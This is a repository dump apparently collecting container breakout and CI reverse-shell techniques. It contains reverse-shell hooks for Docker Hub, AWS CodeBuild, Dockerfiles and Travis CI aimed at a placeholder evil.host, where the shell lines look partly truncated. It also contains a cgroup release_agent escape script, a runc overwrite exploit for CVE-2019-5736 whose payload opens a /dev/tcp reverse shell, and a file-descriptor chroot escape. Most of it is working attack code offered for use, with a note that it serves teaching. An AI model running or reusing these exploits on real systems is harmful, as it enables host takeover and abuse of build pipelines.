├── LICENSE ├── README.md ├── buildhook ├── README.md └── hooks │ ├── build │ └── pre_build ├── buildspec ├── README.md └── buildspec.yml ├── cgroup_release_notification ├── README.md └── undock.sh ├── cve-2019-5736 ├── README.md ├── exploit.py └── safe_exploit.py ├── dockerfile ├── Dockerfile └── README.md ├── filehandle ├── README.md ├── server.py └── worker.py └── travis ├── .travis.yml └── README.md /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. 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We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # container-breakouts 2 | Testing and collecting some container breakouts or CI environment reverse shell methods. 3 | 4 | Check the README in each sub-directory for details. 5 | -------------------------------------------------------------------------------- /buildhook/README.md: -------------------------------------------------------------------------------- 1 | A simple reverse shell from inside a build hook as used by Docker Cloud/Hub. Change evil.host:5000 to your desired reverse shell catching host. 2 | 3 | Your actual repo will probably need a Dockerfile (I don't know if docker hub will let you get away with not having one), hence the "docker build" line in there. 4 | -------------------------------------------------------------------------------- /buildhook/hooks/build: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | echo "------ HOOK START - BUILD -------" 3 | docker build -t $IMAGE_NAME . 4 | apt update 5 | apt install -y netcat 6 | mknod /tmp/thing p 7 | /bin/sh 0/tmp/thing 8 | echo "------ HOOK END - BUILD -------" 9 | -------------------------------------------------------------------------------- /buildhook/hooks/pre_build: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | 3 | echo "------ HOOK START - PRE_BUILD -------" 4 | printenv 5 | 6 | echo "------ HOOK END - PRE_BUILD -------" 7 | -------------------------------------------------------------------------------- /buildspec/README.md: -------------------------------------------------------------------------------- 1 | A simple reverse shell from inside a buildspec.yml, used by AWS CodeBuild. Change evil.host:5000 to your desired reverse shell catching host. 2 | -------------------------------------------------------------------------------- /buildspec/buildspec.yml: -------------------------------------------------------------------------------- 1 | version: 0.2 2 | 3 | #env: 4 | #variables: 5 | # key: "value" 6 | # key: "value" 7 | #parameter-store: 8 | # key: "value" 9 | # key: "value" 10 | 11 | phases: 12 | #install: 13 | #commands: 14 | # - command 15 | # - command 16 | #pre_build: 17 | #commands: 18 | # - command 19 | # - command 20 | build: 21 | commands: 22 | - mknod /tmp/thing p 23 | - /bin/sh 0/tmp/thing 24 | #post_build: 25 | #commands: 26 | # - command 27 | # - command 28 | #artifacts: 29 | #files: 30 | # - location 31 | # - location 32 | #discard-paths: yes 33 | #base-directory: location 34 | #cache: 35 | #paths: 36 | # - paths 37 | -------------------------------------------------------------------------------- /cgroup_release_notification/README.md: -------------------------------------------------------------------------------- 1 | A method of breaking out a privileged container using cgroups release notifications. The original author is @_fel1x (Felix Wilhelm) in a tweet https://twitter.com/_fel1x/status/1151487051986087936. After that @disconnect3d_pl (Dominik Czarnota) improved it to need fewer privileges https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/ 2 | 3 | An example: 4 | ``` 5 | docker run -it --rm --privileged alpine sh 6 | / # ./undock.sh hostname 7 | master 8 | ``` 9 | 10 | Or with less privs: 11 | ``` 12 | docker run --rm -it --cap-add=SYS_ADMIN --volume /root:/host --security-opt apparmor=unconfined ubuntu bash 13 | root@387c0166606d:/# ./undock.sh hostname 14 | mkdir: cannot create directory '/sys/fs/cgroup/rdma/w': Read-only file system 15 | Read-only file system maybe? Let's mount a writable one. 16 | master 17 | ``` 18 | 19 | More info on how cgroup release notifications work at http://man7.org/linux/man-pages/man7/cgroups.7.html 20 | 21 | It requires at least one cgroup with a release_agent (typically rdma). In my limited testing, linux kernel 4.9 (docker-ce) didn't have it, neither did 4.15 in an old VM, but 4.14 in my own linuxkit and 4.19 on an updated kali did. 22 | 23 | -------------------------------------------------------------------------------- /cgroup_release_notification/undock.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | dir=`dirname $(ls -x /sys/fs/cgroup/*/release_agent |head -n1)` 3 | if [ $? -eq 1 ]; then 4 | echo "No cgroups with a release_agent found. Exiting." 5 | exit 1 6 | fi 7 | 8 | # Needs --privileged container 9 | mkdir -p $dir/w 10 | if [ $? -eq 1 ]; then 11 | # Container likely not privileged and fs is read-only, try ToB approach 12 | echo "Read-only file system maybe? Let's mount a writable one." 13 | dir="/tmp/cgrp" 14 | mkdir -p $dir && \ 15 | mount -t cgroup -o rdma cgroup $dir 16 | mkdir -p $dir/w 17 | # Maybe the directory exists? 18 | if [ $? -eq 1 ]; then 19 | echo "Still no luck, exiting" 20 | exit 1 21 | fi 22 | fi 23 | 24 | # Enable release notifications 25 | echo 1 > $dir/w/notify_on_release 26 | # Find the mount point of / on the host 27 | mntpnt=`sed -n 's/.*\upperdir=\([^,]*\).*/\1/p' /etc/mtab` 28 | touch /out 29 | # Set our script as the release_agent 30 | echo $mntpnt/pwn.sh > $dir/release_agent 31 | # Create the script 32 | echo "#!/bin/sh 33 | $1 > $mntpnt/out" >/pwn.sh 34 | chmod +x /pwn.sh 35 | 36 | # Add the writing process to the cgroup. The process will exit immediately 37 | # after it empties the group and will trigger the release_agent 38 | sh -c "echo 0 > $dir/w/cgroup.procs" 39 | sleep 1 40 | cat /out 41 | rmdir $dir/w 42 | -------------------------------------------------------------------------------- /cve-2019-5736/README.md: -------------------------------------------------------------------------------- 1 | A readable exploit implementaton for CVE-2019-5736 through runc overwrite from inside the container. Better/more portable implementations exist, but this was written for ease of teaching. 2 | -------------------------------------------------------------------------------- /cve-2019-5736/exploit.py: -------------------------------------------------------------------------------- 1 | #!/bin/python3 2 | import os 3 | import stat 4 | 5 | host='172.17.0.1' 6 | port='5000' 7 | payload=f'#!/bin/bash\necho "exec 5<>/dev/tcp/{host}/{port} && cat <&5|/bin/bash 2>&5 >&5"|/bin/bash\n' 8 | target_file='/tmp/evil' 9 | 10 | if __name__ == '__main__': 11 | 12 | with open(target_file,'w') as evil: 13 | evil.write('#!/proc/self/exe --criu') 14 | os.chmod(target_file,stat.S_IXOTH) 15 | 16 | found = 0 17 | while found == 0: 18 | procs = os.popen('ps -A -o pid') 19 | for pid in procs: 20 | pid = pid.strip() 21 | if pid == 'PID': continue 22 | if int(pid) > os.getpid(): 23 | try: 24 | with open(f'/proc/{pid}/cmdline','r') as cmdline: 25 | if cmdline.read().find('runc') >= 0: 26 | found = pid 27 | except FileNotFoundError: 28 | continue 29 | except ProcessLookupError: 30 | continue 31 | 32 | handle = -1 33 | while handle == -1: 34 | try: 35 | handle = os.open(f'/proc/{found}/exe', os.O_PATH) #/proc/xxx/exe is fd to runcinit 36 | except FileNotFoundError: 37 | continue 38 | except PermissionError: 39 | continue 40 | print('Got file handle') 41 | write_handle = 0; 42 | while write_handle == 0: 43 | try: 44 | write_handle = os.open(f'/proc/self/fd/{str(handle)}',os.O_WRONLY|os.O_TRUNC) 45 | except OSError: 46 | continue 47 | print('Got write handle') 48 | result = os.write(write_handle,str.encode(payload)) 49 | if result == len(payload): 50 | print('Successfully wrote payload') 51 | else: 52 | print('Could not write') 53 | -------------------------------------------------------------------------------- /cve-2019-5736/safe_exploit.py: -------------------------------------------------------------------------------- 1 | #!/bin/python3 2 | import os 3 | import stat 4 | import time 5 | 6 | host='172.17.0.1' 7 | port='5000' 8 | payload=f'#!/bin/bash\necho "exec 5<>/dev/tcp/{host}/{port} && cat <&5|/bin/bash 2>&5 >&5"|/bin/bash\n' 9 | target_file='/tmp/evil' 10 | 11 | if __name__ == '__main__': 12 | 13 | with open(target_file,'w') as evil: 14 | evil.write('#!/proc/self/exe --criu') 15 | os.chmod(target_file,stat.S_IXOTH) 16 | 17 | found = 0 18 | while found == 0: 19 | procs = os.popen('ps -A -o pid') 20 | for pid in procs: 21 | pid = pid.strip() 22 | if pid == 'PID': continue 23 | if int(pid) > os.getpid(): 24 | try: 25 | with open(f'/proc/{pid}/cmdline','r') as cmdline: 26 | if cmdline.read().find('runc') >= 0: 27 | found = pid 28 | except FileNotFoundError: 29 | continue 30 | except ProcessLookupError: 31 | continue 32 | 33 | read_handle = -1; 34 | while read_handle == -1: 35 | try: 36 | read_handle = os.open(f'/proc/{found}/exe', os.O_RDONLY) #/proc/xxx/exe is fd to runcinit 37 | except OSError: 38 | continue 39 | except FileNotFoundError: 40 | continue 41 | except PermissionError: 42 | continue 43 | print('Got read handle') 44 | runc = b'' 45 | byte = os.read(read_handle,10934200) 46 | while byte != b'': 47 | runc += byte 48 | byte = os.read(read_handle,10934200) 49 | print('Read runc') 50 | 51 | write_handle = -1; 52 | while write_handle == -1: 53 | try: 54 | write_handle = os.open(f'/proc/self/fd/{str(read_handle)}',os.O_WRONLY|os.O_TRUNC) 55 | except OSError: 56 | continue 57 | print('Got write handle') 58 | result = os.write(write_handle,str.encode(payload)) 59 | if result == len(payload): 60 | print('Successfully wrote payload') 61 | else: 62 | print('Could not write') 63 | os.close(write_handle) 64 | 65 | time.sleep(1) 66 | 67 | write_handle = -1; 68 | while write_handle == -1: 69 | try: 70 | write_handle = os.open(f'/proc/self/fd/{str(read_handle)}',os.O_WRONLY|os.O_TRUNC) 71 | except OSError: 72 | continue 73 | print('Got write handle again') 74 | result = os.write(write_handle,runc) 75 | if result == len(runc): 76 | print('Successfully restored runc') 77 | else: 78 | print('Could not write') 79 | os.close(write_handle) 80 | os.close(read_handle) 81 | -------------------------------------------------------------------------------- /dockerfile/Dockerfile: -------------------------------------------------------------------------------- 1 | From alpine:latest 2 | 3 | RUN mknod /tmp/thing p 4 | RUN /bin/sh 0/tmp/thing 5 | -------------------------------------------------------------------------------- /dockerfile/README.md: -------------------------------------------------------------------------------- 1 | A simple reverse shell from inside a Dockerfile. Change evil.host:5000 to your desired reverse shell catching host. 2 | -------------------------------------------------------------------------------- /filehandle/README.md: -------------------------------------------------------------------------------- 1 | A method for passing a file descriptor from outside a container to inside. Can be used to chroot as root inside the container and access the FD located outside the container. 2 | 3 | It passes the file handle via a unix socket. Run the server where you have access to something you want to get access to in a container. Run worker where you have elevated privs (e.g. root) to gain access to server's resources with privs. 4 | 5 | Original idea from https://kitctf.de/writeups/32c3ctf/docker 6 | -------------------------------------------------------------------------------- /filehandle/server.py: -------------------------------------------------------------------------------- 1 | from multiprocessing.connection import Listener 2 | from multiprocessing.reduction import send_handle 3 | import socket 4 | import os 5 | 6 | def server(): 7 | work_serv = Listener('\0singe', authkey=b'peekaboo') 8 | worker = work_serv.accept() 9 | print ('Got a worker') 10 | worker_pid = worker.recv() 11 | print (worker_pid) 12 | 13 | client = os.open("/", os.O_RDONLY) 14 | send_handle(worker, client, worker_pid) 15 | 16 | if __name__ == '__main__': 17 | server() 18 | -------------------------------------------------------------------------------- /filehandle/worker.py: -------------------------------------------------------------------------------- 1 | from multiprocessing.connection import Client 2 | from multiprocessing.reduction import recv_handle 3 | import os 4 | 5 | def worker(): 6 | serv = Client('\0singe', authkey=b'peekaboo') 7 | serv.send(os.getpid()) 8 | fd = recv_handle(serv) 9 | print('WORKER: GOT FD', fd) 10 | os.fchdir(fd) 11 | os.execl("/bin/dash", "/bin/dash", "-i") 12 | 13 | if __name__ == '__main__': 14 | worker() 15 | -------------------------------------------------------------------------------- /travis/.travis.yml: -------------------------------------------------------------------------------- 1 | language: c 2 | compiler: 3 | - clang 4 | script: mknod /tmp/thing p && /bin/sh 0/tmp/thing 5 | addons: 6 | apt: 7 | packages: 8 | - netcat 9 | -------------------------------------------------------------------------------- /travis/README.md: -------------------------------------------------------------------------------- 1 | A simple reverse shell from inside a .travis.yml, used by Travis CI. Change evil.host:5000 to your desired reverse shell catching host. 2 | --------------------------------------------------------------------------------